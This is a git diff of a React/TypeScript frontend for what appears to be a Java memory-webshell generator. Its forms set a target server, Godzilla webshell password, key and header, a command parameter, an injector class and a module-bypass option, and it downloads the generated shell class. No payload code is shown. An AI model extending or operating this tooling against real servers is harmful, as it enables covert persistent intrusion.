@@ -22,11 +16,7 @@ CardHeader.displayName = "CardHeader";
const CardTitle = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
({ className, ...props }, ref) => (
<div
ref={ref}
className={cn("font-semibold leading-none tracking-tight", className)}
{...props}
/>
<div ref={ref} className={cn("font-semibold leading-none tracking-tight", className)} {...props} />
),
);
CardTitle.displayName = "CardTitle";
@@ -39,9 +29,7 @@ const CardDescription = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HT
CardDescription.displayName = "CardDescription";
const CardContent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
({ className, ...props }, ref) => (
<div ref={ref} className={cn("p-6 pt-0", className)} {...props} />
),
({ className, ...props }, ref) => <div ref={ref} className={cn("p-6 pt-0", className)} {...props} />,
);
CardContent.displayName = "CardContent";
+2 -8
View File
@@ -152,18 +152,12 @@ const DropdownMenuSeparator = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
>(({ className, ...props }, ref) => (
<DropdownMenuPrimitive.Separator
ref={ref}
className={cn("-mx-1 my-1 h-px bg-muted", className)}
{...props}
/>
<DropdownMenuPrimitive.Separator ref={ref} className={cn("-mx-1 my-1 h-px bg-muted", className)} {...props} />
));
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName;
const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes<HTMLSpanElement>) => {
return (
<span className={cn("ml-auto text-xs tracking-widest opacity-60", className)} {...props} />
);
return <span className={cn("ml-auto text-xs tracking-widest opacity-60", className)} {...props} />;
};
DropdownMenuShortcut.displayName = "DropdownMenuShortcut";
+136
View File
@@ -0,0 +1,136 @@
import * as React from "react";
import * as LabelPrimitive from "@radix-ui/react-label";
import { Slot } from "@radix-ui/react-slot";
import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form";
import { cn } from "@/lib/utils";
import { Label } from "@/components/ui/label";
const Form = FormProvider;
type FormFieldContextValue<
TFieldValues extends FieldValues = FieldValues,
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
> = {
name: TName;
};
const FormFieldContext = React.createContext<FormFieldContextValue>({} as FormFieldContextValue);
const FormField = <
TFieldValues extends FieldValues = FieldValues,
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
>({
...props
}: ControllerProps<TFieldValues, TName>) => {
return (
<FormFieldContext.Provider value={{ name: props.name }}>
<Controller {...props} />
</FormFieldContext.Provider>
);
};
const useFormField = () => {
const fieldContext = React.useContext(FormFieldContext);
const itemContext = React.useContext(FormItemContext);
const { getFieldState, formState } = useFormContext();
const fieldState = getFieldState(fieldContext.name, formState);
if (!fieldContext) {
throw new Error("useFormField should be used within <FormField>");
}
const { id } = itemContext;
return {
id,
name: fieldContext.name,
formItemId: `${id}-form-item`,
formDescriptionId: `${id}-form-item-description`,
formMessageId: `${id}-form-item-message`,
...fieldState,
};
};
type FormItemContextValue = {
id: string;
};
const FormItemContext = React.createContext<FormItemContextValue>({} as FormItemContextValue);
const FormItem = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
({ className, ...props }, ref) => {
const id = React.useId();
return (
<FormItemContext.Provider value={{ id }}>
<div ref={ref} className={cn("space-y-2", className)} {...props} />
</FormItemContext.Provider>
);
},
);
FormItem.displayName = "FormItem";
const FormLabel = React.forwardRef<
React.ElementRef<typeof LabelPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root>
>(({ className, ...props }, ref) => {
const { error, formItemId } = useFormField();
return <Label ref={ref} className={cn(error && "text-destructive", className)} htmlFor={formItemId} {...props} />;
});
FormLabel.displayName = "FormLabel";
const FormControl = React.forwardRef<React.ElementRef<typeof Slot>, React.ComponentPropsWithoutRef<typeof Slot>>(
({ ...props }, ref) => {
const { error, formItemId, formDescriptionId, formMessageId } = useFormField();
return (
<Slot
ref={ref}
id={formItemId}
aria-describedby={!error ? `${formDescriptionId}` : `${formDescriptionId} ${formMessageId}`}
aria-invalid={!!error}
{...props}
/>
);
},
);
FormControl.displayName = "FormControl";
const FormDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
({ className, ...props }, ref) => {
const { formDescriptionId } = useFormField();
return (
<p ref={ref} id={formDescriptionId} className={cn("text-[0.8rem] text-muted-foreground", className)} {...props} />
);
},
);
FormDescription.displayName = "FormDescription";
const FormMessage = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
({ className, children, ...props }, ref) => {
const { error, formMessageId } = useFormField();
const body = error ? String(error?.message) : children;
if (!body) {
return null;
}
return (
<p
ref={ref}
id={formMessageId}
className={cn("text-[0.8rem] font-medium text-destructive", className)}
{...props}
>
{body}
</p>
);
},
);
FormMessage.displayName = "FormMessage";
export { useFormField, Form, FormItem, FormLabel, FormControl, FormDescription, FormMessage, FormField };
+1 -3
View File
@@ -6,9 +6,7 @@ import { cva, type VariantProps } from "class-variance-authority";
import { cn } from "@/lib/utils";
const labelVariants = cva(
"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",
);
const labelVariants = cva("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70");
const Label = React.forwardRef<
React.ElementRef<typeof LabelPrimitive.Root>,
+2 -10
View File
@@ -94,11 +94,7 @@ const SelectLabel = React.forwardRef<
React.ElementRef<typeof SelectPrimitive.Label>,
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>
>(({ className, ...props }, ref) => (
<SelectPrimitive.Label
ref={ref}
className={cn("px-2 py-1.5 text-sm font-semibold", className)}
{...props}
/>
<SelectPrimitive.Label ref={ref} className={cn("px-2 py-1.5 text-sm font-semibold", className)} {...props} />
));
SelectLabel.displayName = SelectPrimitive.Label.displayName;
@@ -128,11 +124,7 @@ const SelectSeparator = React.forwardRef<
React.ElementRef<typeof SelectPrimitive.Separator>,
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>
>(({ className, ...props }, ref) => (
<SelectPrimitive.Separator
ref={ref}
className={cn("-mx-1 my-1 h-px bg-muted", className)}
{...props}
/>
<SelectPrimitive.Separator ref={ref} className={cn("-mx-1 my-1 h-px bg-muted", className)} {...props} />
));
SelectSeparator.displayName = SelectPrimitive.Separator.displayName;
+20
View File
@@ -0,0 +1,20 @@
import * as React from "react";
import * as SeparatorPrimitive from "@radix-ui/react-separator";
import { cn } from "@/lib/utils";
const Separator = React.forwardRef<
React.ElementRef<typeof SeparatorPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>
>(({ className, orientation = "horizontal", decorative = true, ...props }, ref) => (
<SeparatorPrimitive.Root
ref={ref}
decorative={decorative}
orientation={orientation}
className={cn("shrink-0 bg-border", orientation === "horizontal" ? "h-[1px] w-full" : "h-full w-[1px]", className)}
{...props}
/>
));
Separator.displayName = SeparatorPrimitive.Root.displayName;
export { Separator };
+14
View File
@@ -0,0 +1,14 @@
import { Toaster as Sonner } from "sonner";
import { useTheme } from "@/components/theme-provider.tsx";
type ToasterProps = React.ComponentProps<typeof Sonner>;
const Toaster = ({ ...props }: ToasterProps) => {
const { theme = "system" } = useTheme();
return (
<Sonner theme={theme as ToasterProps["theme"]} richColors className="toaster group" toastOptions={{}} {...props} />
);
};
export { Toaster };
+30
View File
@@ -0,0 +1,30 @@
import * as React from "react";
import * as TooltipPrimitive from "@radix-ui/react-tooltip";
import { cn } from "@/lib/utils";
const TooltipProvider = TooltipPrimitive.Provider;
const Tooltip = TooltipPrimitive.Root;
const TooltipTrigger = TooltipPrimitive.Trigger;
const TooltipContent = React.forwardRef<
React.ElementRef<typeof TooltipPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>
>(({ className, sideOffset = 4, ...props }, ref) => (
<TooltipPrimitive.Portal>
<TooltipPrimitive.Content
ref={ref}
sideOffset={sideOffset}
className={cn(
"z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className,
)}
{...props}
/>
</TooltipPrimitive.Portal>
));
TooltipContent.displayName = TooltipPrimitive.Content.displayName;
export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };
+32
View File
@@ -0,0 +1,32 @@
import * as z from "zod";
const EnvSchema = z.object({
API_URL: z.optional(z.string()),
});
const createEnv = () => {
// @ts-ignore
const envVars = Object.entries(import.meta.env).reduce<Record<string, string>>((acc, curr) => {
const [key, value] = curr;
if (key.startsWith("VITE_APP_")) {
if (typeof value === "string") {
acc[key.replace("VITE_APP_", "")] = value;
}
}
return acc;
}, {});
const parsedEnv = EnvSchema.safeParse(envVars);
if (!parsedEnv.success) {
throw new Error(
`Invalid env provided.
The following variables are missing or invalid:
${Object.entries(parsedEnv.error.flatten().fieldErrors)
.map(([k, v]) => `- ${k}: ${v}`)
.join("\n")}
`,
);
}
return parsedEnv.data;
};
export const env = createEnv();
+3
View File
@@ -29,6 +29,7 @@
--chart-5: 27 87% 67%;
--radius: 0.3rem;
}
.dark {
--background: 240 10% 3.9%;
--foreground: 0 0% 98%;
@@ -56,10 +57,12 @@
--chart-5: 340 75% 55%;
}
}
@layer base {
* {
@apply border-border;
}
body {
@apply bg-background text-foreground;
}
+26
View File
@@ -1,6 +1,32 @@
import { type ClassValue, clsx } from "clsx";
import { toast } from "sonner";
import { twMerge } from "tailwind-merge";
export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs));
}
export function downloadJavaClass(base64String?: string, className?: string) {
if (!base64String || !className) {
toast.warning("内存马字节码为空,无法下载, 请先生成内存马");
return;
}
const byteCharacters = atob(base64String);
const byteNumbers = new Array(byteCharacters.length);
for (let i = 0; i < byteCharacters.length; i++) {
byteNumbers[i] = byteCharacters.charCodeAt(i);
}
const byteArray = new Uint8Array(byteNumbers);
// Create a Blob from the byte array
const blob = new Blob([byteArray], { type: "application/java-vm" });
// Create a download link
const link = document.createElement("a");
link.href = window.URL.createObjectURL(blob);
link.download = `${className.substring(className.lastIndexOf("."))}.class`;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
+12 -3
View File
@@ -2,14 +2,17 @@ import { RouterProvider, createRouter } from "@tanstack/react-router";
import ReactDOM from "react-dom/client";
import { routeTree } from "./routeTree.gen";
import "./index.css";
import { TailwindIndicator } from "@/components/tailwind-indicator.tsx";
import { Toaster } from "@/components/ui/sonner.tsx";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
const queryClient = new QueryClient();
// Set up a Router instance
const router = createRouter({
routeTree,
defaultPreload: "intent",
});
// Register things for typesafety
declare module "@tanstack/react-router" {
interface Register {
router: typeof router;
@@ -20,5 +23,11 @@ const rootElement = document.getElementById("app") as HTMLElement;
if (!rootElement.innerHTML) {
const root = ReactDOM.createRoot(rootElement);
root.render(<RouterProvider router={router} />);
root.render(
<QueryClientProvider client={queryClient}>
<Toaster />
<RouterProvider router={router} />
<TailwindIndicator />
</QueryClientProvider>,
);
}
+1 -3
View File
@@ -67,9 +67,7 @@ const rootRouteChildren: RootRouteChildren = {
IndexRoute: IndexRoute,
};
export const routeTree = rootRoute
._addFileChildren(rootRouteChildren)
._addFileTypes<FileRouteTypes>();
export const routeTree = rootRoute._addFileChildren(rootRouteChildren)._addFileTypes<FileRouteTypes>();
/* ROUTE_MANIFEST_START
{
-9
View File
@@ -1,10 +1,7 @@
import { ModeToggle } from "@/components/mode-toggle.tsx";
import { ThemeProvider } from "@/components/theme-provider.tsx";
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
import { Button } from "@/components/ui/button.tsx";
import { Outlet, createRootRoute } from "@tanstack/react-router";
import { TanStackRouterDevtools } from "@tanstack/router-devtools";
import { ServerOffIcon } from "lucide-react";
export const Route = createRootRoute({
component: RootComponent,
@@ -43,13 +40,7 @@ function RootComponent() {
</div>
</div>
</header>
<Alert className="px-4 border-0 border-b">
<ServerOffIcon className="h-4 w-4" />
<AlertTitle>!</AlertTitle>
<AlertDescription>.</AlertDescription>
</Alert>
<Outlet />
<TanStackRouterDevtools position="bottom-right" />
</div>
</ThemeProvider>
);
+120 -16
View File
@@ -1,30 +1,134 @@
import { MainConfigCard } from "@/components/main-config-card.tsx";
import { PackageConfigCard } from "@/components/package-config-card.tsx";
import { ShellConfigCard } from "@/components/shell-config-card.tsx";
import { ShellResult } from "@/components/shell-result.tsx";
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
import { Button } from "@/components/ui/button";
import { Form } from "@/components/ui/form.tsx";
import { env } from "@/config.ts";
import { FormSchema, formSchema } from "@/types/schema.ts";
import { APIErrorResponse, ConfigResponseType, GenerateResponse, GenerateResult } from "@/types/shell.ts";
import { transformToPostData } from "@/utils/transformer.ts";
import { zodResolver } from "@hookform/resolvers/zod";
import { useQuery } from "@tanstack/react-query";
import { createFileRoute } from "@tanstack/react-router";
import { WandSparklesIcon } from "lucide-react";
import { ActivityIcon, LoaderCircle, ServerOffIcon, WandSparklesIcon } from "lucide-react";
import { useState, useTransition } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
export const Route = createFileRoute("/")({
component: AboutComponent,
component: IndexComponent,
});
function AboutComponent() {
function IndexComponent() {
const { isPending, isError, data } = useQuery<ConfigResponseType>({
queryKey: ["config"],
queryFn: async () => {
const response = await fetch(`${env.API_URL}/config`);
return await response.json();
},
});
const form = useForm<FormSchema>({
resolver: zodResolver(formSchema),
defaultValues: {
server: "",
targetJdkVersion: "50",
debug: false,
bypassJavaModule: false,
shellClassName: "",
shellTool: "",
shellType: "",
urlPattern: "/*",
godzillaPass: "pass",
godzillaKey: "key",
godzillaHeaderName: "User-Agent",
godzillaHeaderValue: "test",
commandParamName: "cmd",
injectorClassName: "",
packingMethod: "Base64",
},
});
const [packResult, setPackResult] = useState<string>("// 等待填写参数生成中");
const [generateResult, setGenerateResult] = useState<GenerateResult>();
const [packMethod, setPackMethod] = useState<string>("");
const [isActionPending, startTransition] = useTransition();
async function onSubmit(values: FormSchema) {
startTransition(async () => {
if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") {
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
return;
}
const postData = transformToPostData(values);
try {
const response = await fetch(`${env.API_URL}/generate`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(postData),
});
await new Promise((resolve) => setTimeout(resolve, 500));
if (response.ok) {
const json: GenerateResponse = await response.json();
setPackResult(json.packResult);
setGenerateResult(json.generateResult);
setPackMethod(values.packingMethod);
toast.success("生成成功");
} else {
const json: APIErrorResponse = await response.json();
toast.error(`生成失败,${json.error}`);
}
} catch (err) {
const error = err as Error;
toast.error(`生成失败,${error.message}`);
}
});
}
return (
<div className="flex flex-col md:flex-row gap-4 p-4">
<div className="w-full md:w-1/2 space-y-4">
<MainConfigCard />
<ShellConfigCard />
<PackageConfigCard />
<Button className="w-full">
<WandSparklesIcon />
Generate
</Button>
</div>
<div className="w-full md:w-1/2 space-y-4">
<ShellResult />
<div className="mt-4">
<div className="px-4">
{isPending && (
<Alert>
<LoaderCircle className="animate-spin h-4 w-4" />
<AlertTitle>Pending</AlertTitle>
<AlertDescription>~</AlertDescription>
</Alert>
)}
{isError && (
<Alert variant="destructive">
<ServerOffIcon className="h-4 w-4" />
<AlertTitle>Not Work!</AlertTitle>
<AlertDescription>.</AlertDescription>
</Alert>
)}
{data && (
<Alert>
<ActivityIcon className="h-4 w-4" />
<AlertTitle>It Work!</AlertTitle>
<AlertDescription>Let's start the party! 🎉</AlertDescription>
</Alert>
)}
</div>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="flex flex-col xl:flex-row gap-4 p-4">
<div className="w-full xl:w-1/2 space-y-2">
<MainConfigCard servers={data?.servers} mainConfig={data?.core} form={form} />
<PackageConfigCard packerConfig={data?.packers} form={form} />
<Button className="w-full" type="submit" disabled={isActionPending}>
{isActionPending ? <LoaderCircle className="animate-spin" /> : <WandSparklesIcon />}
Generate
</Button>
</div>
<div className="w-full xl:w-1/2 space-y-4">
<ShellResult packMethod={packMethod} generateResult={generateResult} packResult={packResult} />
</div>
</form>
</Form>
</div>
);
}
+21
View File
@@ -0,0 +1,21 @@
import * as z from "zod";
export const formSchema = z.object({
server: z.string().min(1),
targetJdkVersion: z.optional(z.string()),
debug: z.optional(z.boolean()),
bypassJavaModule: z.optional(z.boolean()),
shellClassName: z.string().optional(),
shellTool: z.string().min(1),
shellType: z.string().min(1),
urlPattern: z.optional(z.string()),
godzillaPass: z.optional(z.string()),
godzillaKey: z.optional(z.string()),
godzillaHeaderName: z.optional(z.string()),
godzillaHeaderValue: z.optional(z.string()),
commandParamName: z.optional(z.string()),
injectorClassName: z.optional(z.string()),
packingMethod: z.string().min(1, { message: "请选择打包方式" }),
});
export type FormSchema = z.infer<typeof formSchema>;
+73
View File
@@ -0,0 +1,73 @@
export interface ShellConfig {
server: string;
shellTool: string;
shellType: string;
targetJreVersion?: string;
debug?: boolean;
byPassJavaModule?: boolean;
obfuscate?: boolean;
}
export interface ShellToolConfig {
shellClassName?: string;
godzillaPass?: string;
godzillaKey?: string;
godzillaHeaderName?: string;
godzillaHeaderValue?: string;
commandParamName?: string;
}
export interface CommandShellToolConfig {
shellClassName?: string;
paramName?: string;
}
export interface GodzillaShellToolConfig {
shellClassName?: string;
pass?: string;
key?: string;
headerName?: string;
headerValue?: string;
}
export interface InjectorConfig {
className?: string;
urlPattern?: string;
}
export interface ConfigResponseType {
servers: string[];
core: MainConfig;
packers: PackerConfig;
}
export interface MainConfig {
[serverName: string]: {
[toolName: string]: string[];
};
}
export interface PackerConfig {
[packerName: string]: string;
}
export interface GenerateResponse {
packResult: string;
generateResult: GenerateResult;
}
export interface APIErrorResponse {
error: string;
}
export interface GenerateResult {
shellClassName: string;
shellSize: number;
shellBytesBase64Str: string;
injectorClassName: string;
injectorSize: number;
injectorBytesBase64Str: string;
shellConfig: ShellConfig;
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig;
injectorConfig: InjectorConfig;
}
+31
View File
@@ -0,0 +1,31 @@
import { FormSchema } from "@/types/schema.ts";
import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts";
export function transformToPostData(formValue: FormSchema) {
const shellConfig: ShellConfig = {
server: formValue.server,
shellTool: formValue.shellTool,
shellType: formValue.shellType,
targetJreVersion: formValue.targetJdkVersion,
byPassJavaModule: formValue.bypassJavaModule,
};
const shellToolConfig: ShellToolConfig = {
shellClassName: formValue.shellClassName,
godzillaPass: formValue.godzillaPass,
godzillaKey: formValue.godzillaKey,
godzillaHeaderName: formValue.godzillaHeaderName,
godzillaHeaderValue: formValue.godzillaHeaderValue,
commandParamName: formValue.commandParamName,
};
const injectorConfig: InjectorConfig = {
urlPattern: formValue.urlPattern,
className: formValue.injectorClassName,
};
return {
shellConfig,
shellToolConfig,
injectorConfig,
packer: formValue.packingMethod,
};
}
+1
View File
@@ -0,0 +1 @@
{"root":["./src/config.ts","./src/main.tsx","./src/routetree.gen.ts","./src/components/code-viewer.tsx","./src/components/main-config-card.tsx","./src/components/mode-toggle.tsx","./src/components/package-config-card.tsx","./src/components/shell-result.tsx","./src/components/tailwind-indicator.tsx","./src/components/theme-provider.tsx","./src/components/tips/jre-tip.tsx","./src/components/tips/url-pattern-tip.tsx","./src/components/ui/alert.tsx","./src/components/ui/button.tsx","./src/components/ui/card.tsx","./src/components/ui/checkbox.tsx","./src/components/ui/dropdown-menu.tsx","./src/components/ui/form.tsx","./src/components/ui/input.tsx","./src/components/ui/label.tsx","./src/components/ui/radio-group.tsx","./src/components/ui/select.tsx","./src/components/ui/separator.tsx","./src/components/ui/sonner.tsx","./src/components/ui/switch.tsx","./src/components/ui/tabs.tsx","./src/components/ui/textarea.tsx","./src/components/ui/tooltip.tsx","./src/lib/utils.ts","./src/routes/__root.tsx","./src/routes/index.tsx","./src/types/schema.ts","./src/types/shell.ts","./src/utils/transformer.ts"],"version":"5.7.2"}
+1
View File
@@ -0,0 +1 @@
{"root":["./vite.config.ts"],"version":"5.7.2"}